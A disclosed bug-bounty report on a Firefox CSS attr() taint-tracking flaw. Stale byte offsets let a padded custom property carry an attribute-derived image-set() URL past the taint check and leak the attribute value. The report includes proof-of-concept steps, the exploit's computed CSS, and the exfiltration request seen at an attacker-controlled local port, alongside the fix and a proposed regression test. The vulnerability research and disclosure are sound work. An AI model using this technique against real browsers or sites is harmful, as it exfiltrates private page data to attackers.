Skip to content
Info disclosure Disclosed report Advanced

CSS `attr()` taint-range truncation lets third-party stylesheets exfiltrate element attributes

A taint-tracking bug in Firefox's CSS attr() substitution records the tainted byte range using offsets from the original var() reference rather than the longer replacement string, so a URL placed after that stale range is treated as untainted. A third-party stylesheet can therefore turn a victim element's data attribute into an outbound image request to the stylesheet's origin, leaking the attribute value.

hajim Follow

Originally disclosed on Mozilla

  • Fixed in 14 days
  • Paid in 47 days
  • Disclosed after 14 days

Created attachment 9620253 poc.html

Summary

Firefox 154 enables generalized CSS attr() in all channels. Its security model requires every value derived from attr() to remain tainted and makes a declaration invalid if an attr-tainted value is used as or inside a URL.

The exact-substitution optimization in servo/components/style/custom_properties.rs::do_substitute_chunk() records the taint range using byte offsets from the original attr(...) or var(...) reference, then returns the replacement CSS string. When the replacement is longer than the reference, URLs after that stale range are parsed as untainted.

A cross-origin stylesheet can exploit this through a padded custom property. The attached Firefox product PoC places an unknown value in a victim element's data-secret attribute. The third-party stylesheet converts that value into a relative image-set() URL. Firefox sends the resulting request to the stylesheet origin:

Text
GET port=8128 path=/victim-attribute-secret-7f3a91.png

Direct use and a short custom-property control are both rejected as required. Only the padded custom-property value bypasses the taint check.

Tested Build

Mozilla CI Windows x64 ASAN Nightly:

Text
Firefox: 154.0a1
BuildID: 20260718090721
SourceStamp: 1d0f3519e52671ddced90bd213a8fb6867473d61

The same vulnerable source is present at the latest main revision:

Text
079065d33b0b788f93395938d10660927761dceb
2026-07-31

Generalized attr() was enabled by default in:

Text
f4b9aefd3443240e777a70a3a2a312a2546df915
Bug 2038940 - Enable advanced css attr by default in all channels.

Security Contract

servo/components/style/custom_properties.rs documents the required invariant:

Rust
/// In CSS Values and Units, values produced by `attr()` are considered attr()-tainted, as are
/// functions that contain an attr()-tainted value. Using an attr()-tainted value as or in a <url>
/// makes a declaration invalid at computed-value time.

The CSS Values and Units Level 5 security section explains that this rule prevents third-party CSS from extracting arbitrary element attributes through hostile URLs:

Text
https://drafts.csswg.org/css-values-5/#attr-security

Root Cause

The affected branch is the exact-substitution fast path in servo/components/style/custom_properties.rs:

Rust
if reference.start == start && reference.end == end {
    if let Some(taint) = attr_taint.filter(|_| substitution.attr_tainted) {
        taint.push(start, end);
    }
    return Ok(substitution);
}

start and end describe the source reference being replaced. For:

CSS
background-image: var(--secret-image);

they cover the short var(--secret-image) source string. The returned substitution.css, however, is:

CSS
none, none, none, none, none, none, none, none, none, none, none, none,
image-set("victim-attribute-secret-7f3a91.png")

The image-set() URL begins after the stale taint range. URL parsing in servo/components/style/url/mod.rs::CssUrl::parse_from_string() only rejects a URL when its parser byte range overlaps an AttrTaintedRange, so the later URL is accepted.

The bad coordinate assignment was introduced by:

Text
ae73b9fb2d987a70508acac48775788348f977c8
Bug 1997583 - Support partial tainting for attr()-tainted values.

The non-fast path does not have this problem. ComputedValue::push() appends the replacement first and records taint using positions in the output string.

Reproduction

Run:

PowerShell
cd poc
python server.py

While the server is running, open:

Text
http://127.0.0.1:8127/poc.html

The victim page is served from port 8127. The attacker-controlled stylesheet is served from port 8128. The attribute is static victim-page content; script does not copy it into a URL.

The three computed values are:

JSON
{
  "direct": "none",
  "var-short": "none",
  "var-long": "none, none, none, none, none, none, none, none, none, none, none, none, image-set(url(\"http://127.0.0.1:8128/victim-attribute-secret-7f3a91.png\") 1dppx)"
}

The attacker endpoint receives:

Text
GET port=8128 path=/victim-attribute-secret-7f3a91.png

The complete output from the tested ASAN Nightly is in poc/firefox-154-asan-network.log.

Security Impact

A site that allows a third-party stylesheet gives that stylesheet styling authority, but the CSS attr() taint rule is specifically intended to prevent it from converting arbitrary DOM attributes into outbound URLs. This bug bypasses that boundary and sends the full attribute value to the stylesheet origin in one request.

Potentially affected attributes include application data stored in data-* attributes and attribute-backed identifiers or tokens on styleable elements. The attacker needs only CSS control; it does not need script execution or a compromised content process.

Suggested Fix

The exact-substitution branch must record taint in coordinates of the returned replacement string, not the original reference. For an attr-tainted exact substitution, the returned substitution is tainted as a whole:

Rust
if reference.start == start && reference.end == end {
    if let Some(taint) = attr_taint.filter(|_| substitution.attr_tainted) {
        taint.push(0, substitution.css.len());
    }
    return Ok(substitution);
}

Alternatively, the branch can use the normal append path so taint positions are derived from the output buffer.

Add a regression test to css/css-values/attr-security.html in which a custom property contains enough valid image-list tokens before image-set(attr(...)) to place the URL beyond the length of the var() reference. Both the computed declaration and the network request must remain blocked.

The original report as published on Mozilla's Bugzilla, by hajim. Images and videos are our own copies; raw HTML is shown as text. View it on Mozilla's Bugzilla.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

The exact-substitution fast path records the attr taint range using byte offsets of the original var()/attr() reference instead of the returned replacement string, so URLs beyond the reference length fall outside the tainted range.

Impact

A site that allows a third-party stylesheet could have arbitrary styleable element attributes, including data-* application data and attribute-backed identifiers or tokens, sent to the stylesheet origin in a single request, with no script execution needed.

What the attacker needed

Site embeds a third-party stylesheet; victim element has a styleable attribute; affected Firefox build

The fix

The exact-substitution branch should record taint over the whole returned replacement string (or use the normal append path), plus a regression test covering a padded custom property.

How it was found

  1. Start the local Python server that serves the victim page and the attacker stylesheet on separate ports.
  2. Open the victim page in the affected Firefox build.
  3. Observe that direct use and a short custom-property control are rejected, while the padded custom property produces an image-set URL.
  4. Observe the attacker endpoint receiving a request whose path contains the victim attribute value.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

CSS has a new feature that lets a stylesheet read an element's attribute and use it as a value. Because a hostile stylesheet could otherwise read private attributes and send them off in a URL, browsers mark such values as 'tainted' and refuse to use them in URLs. Here the marking used the wrong positions in the text, so a URL built from the attribute slipped through and the browser fetched it from the attacker's server, revealing the value.

What is Info disclosure?

Data the application should keep private (personal data, internal details, other users' records) reaches someone it should not.

More by hajim

View all

7 more disclosed reports, best first.

More from Mozilla

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Information disclosure

The lesson behind this report.

Data the application should keep private (personal data, internal details, other users' records) reaches someone it should not.